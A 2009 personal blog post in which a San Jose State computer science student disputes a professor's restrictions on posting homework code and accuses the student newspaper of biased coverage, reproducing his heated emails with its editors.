In the recent "Who owns your homework?" article from 8/24/2009, I find the manner in which I was portrayed, in addition to the issue itself, appalling. Momentarily discarding the slant of the piece that chose to vilify me as a mere troublemaker, the argument itself is a highly important, relevant issue regarding copyright and digital freedoms for both students at large and those pursuing programming-oriented degrees that was all but ignored in favor of misinformation.

The issues of a student's rights to their own homework do not arise in other disciplines, even when they typically reuse assignments as part of a portfolio or for other public displays - most especially Art students, English majors, and promising Business candidates. But a handful of Professors within Computer Science departments worldwide seem to feel exempt from the general academic policies on undergraduate student works of creation.

Most worrisome, however, is the choice by the Daily to give the most voice and credence to the university itself while implying that the issue is still a matter of debate, with SJSU standing firmly on the side of righteousness. This is simply not true, and supporting evidence can be easily found outside the university's propaganda machine.

Portraying this highly controversial university issue in the favor of the institution is absolutely, ethically wrong, and so is the article's factual misrepresentation of the issue at large. No matter the financier of a journalistic endeavor, it is generally expected that some modicum of integrity is retained independent of the funding's source, and SJSU's Spartan Daily has failed to uphold this simple ideal in a horribly epic fashion.

For further details on the actual issue, as well as an analysis of the article's slant, visit kyle-brady.com/inLink/s8H0f

Kyle Brady
Student, Programmer, Writer, Entrepreneur
kyle@kyle-brady.com

From: Hank Drew

To: Me

Date: 8/25/2009 10:42pm PST

Hi Kyle,

I am the Executive Editor of Spartan Daily and I am sorry you did not enjoy our article about your situation.

I don't feel that the article was slanted at all and that certainly was not the writer or editors intention.

That said, we do not have a paper tomorrow. I can run your letter Thursday, but your demands of not editing are against our editorial policy, which are printed in every issue.

Let me know what you decide.

From: Me

To: Hank Drew

Date: 8/25/2009 11:29pm PST

Thursday is fine, and you can edit it for length, but not content.

Just be careful what you remove - the world is watching closely.

From: Me

To: Hank Drew, Suzanne Yada

Date: 8/27/2009 5:30pm PST

I have a question for you: how dense [is] your staff? Honestly, because I'm curious. Do you hire based on any set of qualifications? Or perhaps IQ level? Because it appears that you do not.

I just saw my "Letter to the Editor" that you promised to print, and, once again, you guys managed to royally fuck it up. Now screw it up, but fuck it up. Does that better express to you the scale of your incompetence?

I'm going to address this in another public forum, as well as take this "over your heads" to people of higher authority within SJSU, but I'll clue you in on a few key points in advance:

You edited for content. I specifically, explicitly said you could only edit for length, if required. That was not a request, it was a demand - not optional.

You removed all references to contact methods, my longer response online, and, once again, any method by which curious readers could investigate for themselves.

You managed to pin me as the wrong major. After all of this, it shouldn't be that difficult for you to figure out what department I'm associated with - how many hours were spent pretending to "investigate" this issue? And with what Professors? Inside what Department? Oh, that's right - Computer Science. Excuse me for assuming that you have any sort of memory, or the basic ability to look me up on SJSU's systems, refer to your own published article, or even, Odin Forbid, check my profile on my site where it clearly states my major.

Once again, you've created a situation of epic failure for yourselves. Just as I'm not letting the issue with Beeson drop, this little issue with your publication is not going away any time in the future either. You can keep pretending to be a true newspaper, but I, along with many others, now know that you are not - newspapers focus on things like "fact", "truth", and "unbiased inquiry".

Maybe you should read some self-help books on the topic. May I suggest "The Complete Idiot's Guide to Journalism"?

You're an embarrassment to the industry you pretend to be a part of, and you should be ashamed of both yourselves and your complete lack of competence.

I'll be in touch.

From: Hank Drew

To: Me

Date: 8/27/2009 7:48pm PST

Summary and Quotes of a "do not print" email:

He's "had it with [my] insulting tone", and thinks I'll receive negative repercussions for publicly defending myself against such horrible excuses for public competency

The Spartan Daily is run by students, which he claims excuses the publication from any and all "mistakes" made

He claims that they didn't bow to the will of the Administration, and never have or will

I'm "more than welcome to not like the story", and he doesn't really care. Apparently I should feel lucky that they even published my "insulting rant on [their] editorial page", because the students have quotas to meet to get class credit - he ignores that they were ethically obligated to post my response letter.

Since I didn't like how they edited my letter, their editorial policy is available for me to read - "Don't like it. Don't submit a letter to the editor."

Then he decides to be insulting:
- "Think about who you are and what you are trying to represent. As a Linux user (Ubuntu) and a longtime reader of 2600 and BoingBoing (I was reading the paper ed. of BoingBoing while you were still in the womb), I think you are making a mockery of the opensource and digital rights movement."
- I know what I'm doing: standing up against a professor that tried to bully me for the purposes of his own laziness, and trying to get the issue presented fairly by the school paper. Nothing more, nothing less.

He adds that he thinks I'm perusing this for blog traffic purposes, and that he is no longer going to communicate with me.

As a closing, he uses the ever-thoughtful "Have a nice life"

From: Me

To: Hank Drew

Date: 8/28/2009 12:08am PST

Hank,

I've had it with your incompetence. We can go tit-for-tat all day long, and I'm prepared for any so-called consequences me coming after you for this may bring, so let's not have the pot calling the kettle black, ok?

Occasionally making mistakes is understandable - making critical mistakes on every public aspect in relation to me in the last week is not.

Once again, let's not jump to conclusions. First, I got permission from Stefan (both in person and via email) to use the photo. Second, the final version is pulled directly from the paper, and is visibly so. Third, the original was emailed to me by Stefan himself. Want to cry some more over milk you spilt?

I know what I'm doing - I'm not making a mockery of anyone or anything, but rather standing up to a professor that tried to bully me for purposes of his own laziness, and I'm seeing the issue through. If you don't understand this, perhaps it's because you've been reading BoingBoing since before I was born - an interesting statistic from all the emails and comments worldwide is that a certain dividing line exists in terms of age for whether or not they agree with my original actions. And apparently you are on the opposite side of it.

I don't really care whether or not you pushed someone else's content off to publish my response - you were obligated to publish it. You're the ones who have continually failed to be even partially competent, not me. If that was the case, I wouldn't be in a position to have fought Beeson in the first place, nor would I be a Computer Science student - we tend to be a bit brighter than most.

I'm not doing this to drive hits to my site (since I get decent traffic as it is anyway), but rather using the site itself as a vehicle for exposing you and your staff. This is not new, and not confined to you - it's a personal philosophy of mine to go after people when they're wrong. Ask Lawrence G. Roberts, one of the founders of the Internet, if you don't believe me. Or Tanya Harding, who recently publicized 17,000+ emails of the entire SJSU student body by, surprise!, being incompetent.

Finally, I think it's worth noting, and rather hilarious, that I have more journalistic integrity, talent, and overall writing skills [than] most of your staff - as a Computer Science student / programmer. What does that say about the company you keep? Ponder that pixel of wisdom.

Have a nice, long, slow slide into senility. I hope it's entertaining.

p.s. Emails are never private unless they're encrypted or published with legal disclaimer. Yours is neither. And consider the irony of you demanding private email conversation after denying my own demand of not editing my letter. Guess what? Publishing emails related to stories is part of my policy - if you don't like it, don't email me.

SJSU – Reporting Digital Freedoms With Bias [Expose]

Kyle Brady — Wed, 26 Aug 2009 07:05:31 +0000

Investigate the issue for yourself, all the files are available.

Or follow the update thread for the latest chapter in the saga

Last semester at San Jose State University, a Computer Science Professor (Dr. Beeson) threatened to fail me in his CS146 class for posting code solutions online after the assignments were due, which I fought vehemently against. I eventually not only passed the class, but received an official ruling from the Judicial Affairs Office that my actions were completely within my rights as a student – I considered this a win for not only myself, but the future of SJSU since I hoped this case would become a precedent.

While this may still be the case, two worrisome issues have arisen:

Dr. Beeson seems to believe he can simply claim copyright on his assignments and prevent students from posting them [see here, "Copyright" section] without serious code augmentation, effectively ensuring that most of his students (if not all) will not take the time or effort required to post solutions publicly.

The Spartan Daily, SJSU’s daily student news publication, contacted me recently to setup an interview me for a “feature article” in the full-color issue that would reopen the paper for the Fall semester on 8/24/2009. While they made a great effort to appear as if they were going to present the issue in a fair and unbiased light, this is simply not the case. As a school-funded publication, they apparently thought it best to slant the facts, arrange details and quotes, and even “photoshop” a picture of me to portray my crusade as one with trouble-making intent, rather than as defense of a noble cause.

Issue 1 – Dr. Beeson

Plans are currently being formulated to fight his new method of restricting the public posting of code, and details will be shared elsewhere as it progresses. While I applaud his attempts to circumvent the ruling and achieve his goals via a different method, this is still unacceptable and should not be allowed to continue. Even though I’m no longer in a class of his, nor ever will be again, the issue has long since been one of principle - to which I’m willing to devote time and effort in order to stand up for what I initiated.

Issue 2 – Spartan Daily

The Article

[read the article - bottom of page 1, PDF file]

At first reading, the article seems simply short, without many facts, and blasé.

With a second reading, however, it becomes clear there is a hidden agenda courtesy of the Daily’s Suzanne Yada:

The fact that the code was of my own creation, and therefore my property and copyright to do with as I please, was entirely avoided, with the associated ownership legality given the same silent treatment. Instead, they chose to make it appear as if I was only interested in showing off as some sort of open source guru.

Copyright was addressed in terms of the homework assignments being created by Beeson, with no statement that the decision by the JAO implied Beeson didn’t have true copyright of the assignments in the first place. Instead, I’m quoted as once again being arrogant and the article remains without any reference to the reality of Beeson’s false copyright claims.

The article closes with Beeson’s recent machinations to prevent the public posting of code, not only seeming to endorse the idea but also giving him the last word – which is very important when creating lasting impressions on readers. I was asked to comment on this very topic during the interview, and said something to the effect that these were expected and should not be allowed to continue, but my comments were omitted.

I’m quoted only twice for a complex issue, whereas SJSU has three voices with a total of seven quotes. The phone interview with Suzanne lasted approximately forty minutes and covered the entirety of this issue.

No outside sources were cited or asked for quote, despite that places like BoingBoing, TechDirt, and ArsTechnica helped make my case successful and held plenty of external insight. Additionally, professors from other universities worldwide could have been asked for comment, which they would have gladly given if the emails and comments I received during early June are any indication. I’m sure even the EFF would have loved to comment.

No information was given to readers for those curious enough to investigate on their own - neither this site nor the page holding all the details of the case.

The Photo

click for larger size

The Spartan Daily was extremely interested in setting up a photo session with one of their photographers to produce a picture for the article. I was wary of meeting the photographer, Stefan Armijo, but the actual photoshoot left me with confidence that it would be presented fine - little did I know.

However, when the image appeared in print, yet more issues arose:

The photo has been distorted to make me appear grotesque and disproportionate – my forearms are gigantic, while I have a tiny head. Whether this was a byproduct of a lens or software is irrelevant, but it's obvious that considerable time was spent inside an advanced photo-editing tool: besides the code-overlay, the highlight on my face and overall lighting has been modified. It's worth noting that the "before" picture included above was only given to me after I had expressed my distaste for the piece and my intentions for a rebuttal - not the best circumstances for a legitimate before-after comparison, given recent history.

The overlaid code, which I knew about in advance, is not only not code from SJSU assignments, but trash code as well. The code comes from an introductory C class I was forced to take over the summer at a different institution (Mission College), and posted online for archiving purposes. It’s clearly labeled as “missionProjects”, with “sjsuProjects” available just above the link, and there’s a text file for each assignment indicating the code is not of high quality and was written quickly/sloppily to meet only the barest requirements and pass the class with little effort. All of this was ignored, and now crap code unrelated to the issue has been forcibly associated with the “Beeson Debacle”.

In both the “print edition” and the “digital print edition”, but not the web version, the caption for the photo reads “This is a picture I took where ever I took it of whomever it is I took it of while doing whatever is is that they were doing aksjd lkajs dkjaslkdj alksj”. A correction was printed in the following day’s edition, but the damage had already been done:

click for larger

The Charge

As should be obvious from the evidence already provided, this entire article was an attempt by SJSU to discredit me, my opinion, the case, and its results. When I quite angrily expressed my sentiments to Suzanne, her defense was that the story was “edited from 800 words to 500 at the last minute and much of what you mention were taken out”, and invited me to write a response letter that they would print – edited, perhaps?

In a later email, I expressed my sorrow that I had ever corresponded with her in the first place or even agreed to participate in the article – I acted on the assumption that journalistic integrity would be respected, and I would not end up defamed and discredited. Who would willingly participate in such an act?

Embarrassments and regrets were expressed by Suzanne, supposedly on behalf of the staff, blaming the photo miscaptioning on editing software and inexperienced students. But can regrets be expressed for something that was likely intentional? The SJSU Administration, in all probability, leaned on the publication to shed some good light on the school since it was widely panned by highly-visible critics worldwide, and the results are obvious to any discerning reader who knows even the slightest information about the situation, who I am, or even what I look like.

As I say in an email to Suzanne, this whole affair has been one misstep after another by apparently the entire staff at the Spartan Daily, with both her and the publication’s journalistic integrity now highly suspect. Doctoring photos, misrepresenting information, and refusing to provide equal voice to opposing sides are the very basis and definition of unprofessional journalism. Especially if San Jose State exerted influence to produce this result.

We'll see if they print my response letter in Thursday's edition without editing it in favor of themselves or the administration.

--- --- ---

Update (8/28/2009 11:45am PST): TechDirt picked this up, agreeing that Beeson probably can't copyright the project titles, but that asking not to make it 100% easily available via Google is understandable and reasonable. I agree, and this is what I'm rallying around.

Update (8/28/2009 12:47pm PST): I got an email from Stefan, the photographer, expressing concerns about what I said about him and the use of the material. All material, both photos and article clips, have been given proper attribution, and the comment about him "never responding to email" has been removed.

--- --- ---

Email Correspondence

From: Me

To: Suzanne

Date: 8/24/2009 6:54am

Subject: Article Response, Version Lite

Hi Suzanne,

A few points:

Was this really the "big story" you mentioned it was intended to be? Because it pretty much skates over only the barest of the issue, not to mention the work I went through to win this case. Such as BoingBoing, which you found the story through and should have received a reference, or my defense of my actions using pre-existing SJSU polices, cases, and statements.

It's common practice in the journalism world that when you mention a website, you reference the URL at least once somewhere, or give a link when online. I would have appreciated this common courtesy.

You made the end result much more ambiguous than it really is. If you read Beeson's green sheet declaration, which I did a few days ago, it's a direct result of what happened and him trying to worm his way out of the situation, and you avoid the entire fact that an overwhelming worldwide population of both academics and professionals support my view of the situation, rather than Beeson's - you make it sound as if what he's doing is acceptable.

You can expect a response, in the very near future, and I'll be contacting all the same people who were interested last time to let them know just how the school publication spun it deftly in the school's favor, not allowing an unenlightened reader to be aware of the full, unbiased situation.

At the very least, you could have made more of an effort to show that I wasn't just being a troublemaker or defending my grade, but standing up for something more noble.

From: Suzanne

To: Me

Date: 8/24/2009 7:15am

Kyle, thanks for your response. The story was edited from 800 words to 500 at the last minute, and much of those things you mention were taken out to more focus on the copyright issue, which is the point of the story. Sorry you feel like I spun you, because my goal was to accurately portray all sides. I am not one to take sides or spin. This isn't a conspiracy, it was simply a last-minute edit. Yes, please do write a letter, we would welcome the dialogue. Again, sorry about this.

From: Me

To: Suzanne

Date: 8/24/2009 10:47am

Also, I just saw the print edition and checked the digital print edition - not only is the photo terribly distorted and makes me look misshapen and odd, but it's captioned with filler nonsense.

This whole affair has been one misstep after another by apparently the entire staff at the Spartan Daily, and your journalistic integrity, as well as ability, should now be highly suspect for anyone that knows me personally, knows of the issue, or even knows what I look like.

I'm embarrassed to even have provided you material for quotes, pictures, and what turned out to be otherwise cannon fodder for a shoddy publication. If these are the behaviors that you and your brethren practice in the "real world of journalism" outside of college, then it's no wonder people stopped buying papers and advertising money has dropped drastically -no-one wants to spend money on absolute crap.

The semi-friendly rebuttal I was going to write has just turned into a scathing takedown. I hope you and the paper are prepared to be famous for maligning a digital freedoms issue.
I'll be in touch.

From: Suzanne

To: Me

Date: 8/24/2009 4:05pm

Hey Kyle,

I've forwarded your emails to the executive editor and the advisers. Thank you for getting in touch with me.

Firstly, I was shocked and embarrassed myself at the caption. I didn't see it until this afternoon. There has been a firestorm around that error. It's unacceptable and we are running a correction to the caption.

We had a problem with the design of the paper and we had to do an emergency revision at 2 a.m. Unfortunately that revision meant the paper reverted to a previous version, and the words that were originally placeholder text appeared instead.

We have a brand new staff of students who came in on Sunday evening to pull together an issue, many of whom were unfamiliar with the process. This is a student-run paper, and all of us are learning. But that is no excuse, and it's a quick lesson to learn for everyone.

But as for the edits, I can only say I did as best as I could with time and space constraints. Despite the last-minute edits, I still stand by my story and believe it is an accurate portrayal of what I saw was the issue. My editors and I decided to focus on the copyright issue in the incident. The copyright issue is a bigger story, and I plan on doing a follow-up story for not just the CS program, but for other on-campus programs as well.

Re: the photo, we've also alerted the photo editor about your concerns. Is it the online photo you're concerned about, or the one in print?

Also, please write a rebuttal both online and in a letter to the editor, and we will publish it. Send the letter to me and I can forward it along.

Thanks Kyle

From: Me

To: Suzanne

Date: 8/24/2009 5:35pm

Both photos, although it's only noticeable in the real life edition or the "digital print edition". Besides looking like an idiot, he didn't even use code from SJSU - he picked it from a class at Mission (clearly labeled) that was also clearly labeled as crappy just-make-it-work code.

But all will be clear when you hear from me tomorrow morning. I'll have a full version and a shortened version that will fit the constraints of your print edition, that way I don't have to worry about your mysterious editing process screwing me over once again.

From: Me

To: Suzanne

Subject: Response Letter for Printing

Date: 8/25/2009 3:20pm

In the recent "Who owns your homework?" article from 8/24/2009, I find the manner in which I was portrayed, in addition to the issue itself, appalling. Momentarily discarding the slant of the piece that chose to vilify me as a mere troublemaker, the argument itself is a highly important, relevant issue regarding copyright and digital freedoms for both students at large and those pursuing programming-oriented degrees that was all but ignored in favor of misinformation.

The issues of a student's rights to their own homework do not arise in other disciplines, even when they typically reuse assignments as part of a portfolio or for other public displays - most especially Art students, English majors, and promising Business candidates. But a handful of Professors within Computer Science departments worldwide seem to feel exempt from the general academic policies on undergraduate student works of creation.

Most worrisome, however, is the choice by the Daily to give the most voice and credence to the university itself while implying that the issue is still a matter of debate, with SJSU standing firmly on the side of righteousness. This is simply not true, and supporting evidence can be easily found outside the university's propaganda machine.

Portraying this highly controversial university issue in the favor of the institution is absolutely, ethically wrong, and so is the article's factual misrepresentation of the issue at large. No matter the financier of a journalistic endeavor, it is generally expected that some modicum of integrity is retained independent of the funding's source, and SJSU's Spartan Daily has failed to uphold this simple ideal in a horribly epic fashion.

For further details on the actual issue, as well as an analysis of the article's slant, visit kyle-brady.com/inLink/s8H0f

Kyle Brady
Student, Programmer, Writer, Entrepreneur
kyle@kyle-brady.com

Files

Original Print Edition, 8/24/2009, Bottom of Page 1

Photo Comparison

Photo Caption

Correction Print Edition, 8/25/2009, Bottom of Page 1

Correction Snippet